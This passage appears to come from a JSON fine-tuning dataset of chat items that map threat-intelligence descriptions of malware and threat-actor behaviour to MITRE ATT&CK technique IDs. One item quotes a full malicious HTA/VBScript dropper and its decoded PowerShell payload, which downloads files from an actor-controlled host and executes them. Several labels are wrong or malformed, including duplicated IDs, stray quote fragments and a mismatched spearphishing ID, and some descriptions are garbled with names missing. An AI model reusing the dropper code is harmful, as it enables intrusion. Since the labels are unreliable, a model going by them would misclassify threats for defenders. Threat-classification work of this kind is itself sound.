                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is prepended to the encrypted and encoded message"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode ."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download additional files from URLs."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can download files and upgrade itself."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once TrickBot verifies it can connect to the Internet, it communicates with C2 servers, some of which using TOR-related domains. It collects and sends information about where the target machine is located to the C2 servers"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. PowerShell downloader The downloaded PowerShell script code is obfuscated in several layers before the last layer is reached. Beginning of the \"download and load\" shellcode The shellcode is relatively simple and begins with a XOR loop that deobfuscates the rest of the code"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Sakula samples use cmd.exe to delete temporary files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke has used several C2 servers per targeted organization."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET will compress entire \"~/Desktop\" folders excluding all \".git\" folders, but only if the total data size is under 200MB."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen in the above image, the Bazar backdoor can handle quite a few commands. This next section focuses on case 1, which retrieves various pieces of additional information on the infected machine"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is known to have the capability to overwrite the firmware on hard drives from some manufacturers."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has created shortcuts in the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about running processes on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can store harvested data in a custom database under the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collected files under the preliminary collection directory will be compressed using a WinRAR instance that the Ramsay Installer drops. This compressed archive will be saved within the preliminary collection directory and then generate a Ramsay container artifact"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used Metasploit Bind and Reverse TCP stagers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. RTM has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used revoked certificates to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has the ability to identify the IP address of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT can delete files and directories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cryptoistic can scan a directory to identify files for deletion."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses at least three separate encryption methods for its traffic, depending on the type of message. The first method, implemented within HTTPDLL.dll, is used for the decryption of values and traffic relating to the HTTP GET requests (i) and (ii) discussed above. It appears to use an implementation of AES to encrypt the data which is then transmitted in its encrypted format. The key (shown in the image below) is apparently static, at least among the samples tested, and generated by drawing byte values from multiple parts of the binary and performing a number of bitwise operations on them"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For the first time, the Bisonal developers decided to use a packer: MPRESS. The Bisonal string also disappears from the binary however the workflow of the malware stays the same and some features are copy/pasted from the previous Bisonal variant"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify the user name on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can perform keylogging by polling the \"GetAsyncKeyState()\" function."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\"><head><meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\" /><title>Bonjour</title><script language=\"VBScript\">Set owFrClN0giJ = CreateObject(\"Wscript.Shell\")Set v1ymUkaljYF = CreateObject(\"Scripting.FileSystemObject\")If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") ThenowFrClN0giJ.Run \"powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=\" ,0owFrClN0giJ.Run \"cmd /c echo hta>%tmp%\\webbrowser1094826604.tmp\", 0End IfSelf.Close</script><hta:applicationid=\"oHTA\"applicationname=\"Bonjour\"application=\"yes\"></head></html>Once decoded using the base64 algorithm, we are able to read the final payload:$c=new-object System.Net.WebClient$t =$env:temp$t1=$t+\"\\\\alitmp0131.jpg\"$t2=$t+\"\\\\alitmp0132.jpg\"$t3=$t+\"\\\\alitmp0133.js\"try  {    echo $c.DownloadFile( \"hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg\",$t1)    $c.DownloadFile( \"hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg\",$t2)    $c.DownloadFile( \"hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp\",$t3)    wscript.exe $t3  }catch  {   }The purpose of this script is to download and execute a Windows script and two encoded payloads"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes files in Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download additional payloads onto the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession has the ability to execute inside the msiexec.exe process."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download and execute an additional file."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can use WMI to delete Shadow Volumes."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious can run \"GET.WORKSPACE\" in Microsoft Excel to check if a mouse is present."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can inject into a target process including Svchost, Explorer, and cmd using process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has used legitimate credentials to hijack email communications."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has used Ngrok to establish C2 and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EKANS uses standard encryption library functions to encrypt files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL is not a service DLL because it lacks ServiceMain()"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy's default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly, we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa collected the system volume serial number, GUID, and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used compromised domain accounts to gain access to the target environment."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT obtains a list of running processes on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth — This web shell and credential stealer deployed to Microsoft Exchange servers is installed as an ISAPI filter"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp's bootkit can inject a malicious DLL into the address space of running processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malicious spearphishing payloads are executed as .  has also used  during and."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has sent spearphishing emails containing malicious attachments in the form of PDFs, Word documents, JavaScript files, and Control Panel File (CPL) executables."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences, Windows vault credential objects, or using ."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. Unit 42 has observed a total of two variants of Comnie. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has performed screen captures of victims."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has added paths to executables in the Registry to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 has been seen utilizing numerous tools to dump passwords from password stores and Chrome using GrabChrome and GrabRFF."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores', 'T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic. If an SMS message contained either a phone number, IMSI number, or keyword that matched the predefined list, it is saved to a CSV file for later theft by the threat actor."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This particular sample connected to the CnC domain accounts.serveftp[.]com, which resolved to an IP address previously used by the threat group, although the IP had not been used for some time prior to this most recent activity:  MD5      0beb957923df2c885d29a9c1743dd94b  accounts.serveftp.com  59.188.0.197   BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several tools used by Suckfly have been command-line driven."
            },
            {
                "role": "assistant",
